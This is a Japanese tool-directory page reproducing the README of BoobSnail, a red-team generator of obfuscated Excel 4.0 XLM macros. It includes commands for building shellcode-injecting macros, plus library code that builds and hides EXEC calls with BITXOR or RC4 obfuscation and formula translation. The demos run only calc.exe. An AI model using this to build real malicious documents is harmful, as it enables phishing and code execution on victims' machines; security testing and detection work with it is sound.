Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
boobsnail — 難読化されたExcel 4.0 XLMマクロを生成し、レッドチーム運用とブルーチーム分析を支援します。複数の感染テクニック、数式の翻訳、ライブラリベースのカスタムジェネレータをサポートします。 | Kitploit
ツール/GitHubGitHub/stmcyber/boobsnail
フィッシングツールペイロード生成ペネトレーションテストソーシャルエンジニアリングレッドチーミング
GitHubstmcyber/boobsnail

boobsnail

難読化されたExcel 4.0 XLMマクロを生成し、レッドチーム運用とブルーチーム分析を支援します。複数の感染テクニック、数式の翻訳、ライブラリベースのカスタムジェネレータをサポートします。

リポジトリを見る
256491年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
ウェブサイト

License

Twitterでフォローしてください! Twitter!

BoobSnail

BoobSnailはXLM(Excel 4.0)マクロの生成を可能にします。その目的は、RedTeamおよびBlueTeamのXLMマクロ生成をサポートすることです。 機能:

  • さまざまな感染テクニック;
  • さまざまな難読化テクニック;
  • 英語以外の言語への数式の翻訳;
  • ライブラリとして使用可能 - 独自のジェネレーターを簡単に作成できます。

ビルドと実行

テスト環境: Python 3.8.7rc1

root@kitploit:~
pip install -r requirements.txt
python boobsnail.py
___.                ___.     _________             .__.__
\_ |__   ____   ____\_ |__  /   _____/ ____ _____  |__|  |
 | __ \ /  _ \ /  _ \| __ \ \_____  \ /    \__  \ |  |  |
 | \_\ (  <_> |  <_> ) \_\ \/        \   |  \/ __ \|  |  |__
 |___  /\____/ \____/|___  /_______  /___|  (____  /__|____/
     \/                  \/        \/     \/     \/
     Author: @_mzer0 @stm_cyber
     (...)

ジェネレーターの使用法

root@kitploit:~
python boobsnail.py <generator> -h

利用可能なジェネレーターを表示するには次のように入力します:

root@kitploit:~
python boobsnail.py

例

x64またはx86シェルコードを注入する難読化マクロを生成:

root@kitploit:~
python boobsnail.py Excel4NtDonutGenerator --inputx86 <PATH_TO_SHELLCODE> --inputx64 <PATH_TO_SHELLCODE> --out boobsnail.csv

calc.exeを実行する難読化マクロを生成:

root@kitploit:~
python boobsnail.py Excel4ExecGenerator --cmd "powershell.exe -c calc.exe" --out boobsnail.csv

Excelでの出力の保存

  1. 出力をCSVファイルにダンプします。
  2. CSVファイルの内容をコピーします。
  3. Excelを起動し、新しいワークシートを作成します。
  4. 新しいExcel 4.0マクロを追加(Sheet1を右クリック -> 挿入 -> MS Excel 4.0マクロ)
  5. 内容をセルA1またはR1C1に貼り付けます。
  6. データ -> 区切り位置をクリックします。
  7. 次へをクリック -> セミコロンを区切り文字として設定し、完了をクリックします。

ライブラリの使用法

BoobSnailは、独自のExcel4マクロジェネレーターを作成できるexcel4libライブラリを提供します。 excel4libには、ジェネレーター作成時に使用できるいくつかのクラスが含まれています:

  • excel4lib.macro.Excel4Macro - Excel4の数式、値、変数を定義できます;
  • excel4lib.macro.obfuscator.Excel4Obfuscator - Excel4Macroで作成された命令を難読化できます;
  • excel4lib.lang.Excel4Translator - 数式を別の言語に翻訳できます。

このライブラリの主なアイデアは、Excel4の数式、変数、数式の引数、および値をPythonオブジェクトとして表現することです。 これにより、数式や変数名、値、アドレスなどの命令属性を簡単に変更できます。 例えば、calc.exeを実行する簡単なマクロを作成しましょう

root@kitploit:~
from excel4lib.macro import *
# Create macro object
macro = Excel4Macro("test.csv")
# Add variable called cmd with value "calc.exe" to the worksheet
cmd = macro.variable("cmd", "calc.exe")
# Add EXEC formula with argument cmd
macro.formula("EXEC", cmd)
# Dump to CSV
print(macro.to_csv())

結果:

root@kitploit:~
cmd="calc.exe";
=EXEC(cmd);

次に、マクロを難読化したいとします。これを行うには、難読化プログラムをインポートしてExcel4Macroオブジェクトに渡すだけです:

root@kitploit:~
from excel4lib.macro import *
from excel4lib.macro.obfuscator import *
# Create macro object
macro = Excel4Macro("test.csv", obfuscator=Excel4Obfuscator())
# Add variable called cmd with value "calc.exe" to the worksheet
cmd = macro.variable("cmd", "calc.exe")
# Add EXEC formula with argument cmd
macro.formula("EXEC", cmd)
# Dump to CSV
print(macro.to_csv())

現在、excel4libは2つの難読化クラスを提供しています:

  • excel4lib.macro.obfuscator.Excel4Obfuscatorは、BITXOR、SUMなどのExcel 4.0関数を使用してマクロを難読化します;
  • excel4lib.macro.obfuscator.Excel4Rc4ObfuscatorはRC4暗号化を使用して数式を難読化します。

ご覧の通り、独自の難読化クラスを作成してExcel4Macroで使用できます。

場合によっては、マクロを別の言語、例えば母国語(私の場合はポーランド語)に翻訳する必要があります。excel4libを使えばとても簡単です。 Excel4Translatorクラスをインポートしてset_languageを呼び出すだけです。

root@kitploit:~
from excel4lib.macro import *
from excel4lib.lang.excel4_translator import *
# Change language
Excel4Translator.set_language("pl_PL")
# Create macro object
macro = Excel4Macro("test.csv", obfuscator=Excel4Obfuscator())
# Add variable called cmd with value "calc.exe" to the worksheet
cmd = macro.variable("cmd", "calc.exe")
# Add EXEC formula with argument cmd
macro.formula("EXEC", cmd)
# Dump to CSV
print(macro.to_csv())

結果:

root@kitploit:~
cmd="calc.exe";
=URUCHOM.PROGRAM(cmd);

現在、英語とポーランド語のみがサポートされています。別の言語を使用する場合は、excel4lib/lang/langsディレクトリに翻訳を追加する必要があります。

当然、別の数式を引数として受け取る数式を作成する必要があります。これはExcel4Macro.argument関数を使用して行えます。

root@kitploit:~
from excel4lib.macro import *
macro = Excel4Macro("test.csv")
# Add variable called cmd with value "calc" to the worksheet
cmd_1 = macro.variable("cmd", "calc")
# Add cell containing .exe as value
cmd_2 = macro.value(".exe")
# Create CONCATENATE formula that CONCATENATEs cmd_1 and cmd_2
exec_arg = macro.argument("CONCATENATE", cmd_1, cmd_2)
# Pass CONCATENATE call as argument to EXEC formula
macro.formula("EXEC", exec_arg)
# Dump to CSV
print(macro.to_csv())

結果:

root@kitploit:~
cmd="calc";
.exe;
=EXEC(CONCATENATE(cmd,R2C1));

ご覧の通り、".exe"文字列はR2C1としてCONCATENATE数式に渡されました。R2C1は".exe"値のアドレスです(行番号2、列番号1)。 excel4libは数式や値への参照をアドレスとして返します。変数への参照はその名前として返されます。 Excel4Macroクラスは、これらのオブジェクトが作成された順序で数式、変数、値をワークシートに自動的に追加し、開始アドレスがR1C1であることにお気づきでしょうか。 数式を別の列や行に配置したい場合はどうすればよいですか?Excel4Macro.set_cords関数を呼び出すことで可能です。

root@kitploit:~
from excel4lib.macro import *
macro = Excel4Macro("test.csv")
# Column 1
# Add variable called cmd with value "calc" to the worksheet
cmd_1 = macro.variable("cmd", "calc")
# Add cell containing .exe as value
cmd_2 = macro.value(".exe")
# Column 2
# Change cords to columns 2
macro.set_cords(2,1)
exec_arg = macro.argument("CONCATENATE", cmd_1, cmd_2)
# Pass CONCATENATE call as argument to EXEC formula
exec_call = macro.formula("EXEC", exec_arg)
# Column 1
# Back to column 1. Change cords to column 1 and row 3
macro.set_cords(1,3)
# GOTO EXEC call
macro.goto(exec_call)
# Dump to CSV
print(macro.to_csv())

結果:

root@kitploit:~
cmd="calc";=EXEC(CONCATENATE(cmd,R2C1));
.exe;;
=GOTO(R1C2);;

作成者

mzer0(stm_cyberチーム)!

記事

  • Red TeamのためのExcel 4.0の第一歩
  • BoobSnail - Excel 4.0マクロジェネレーター
ツールをダウンロード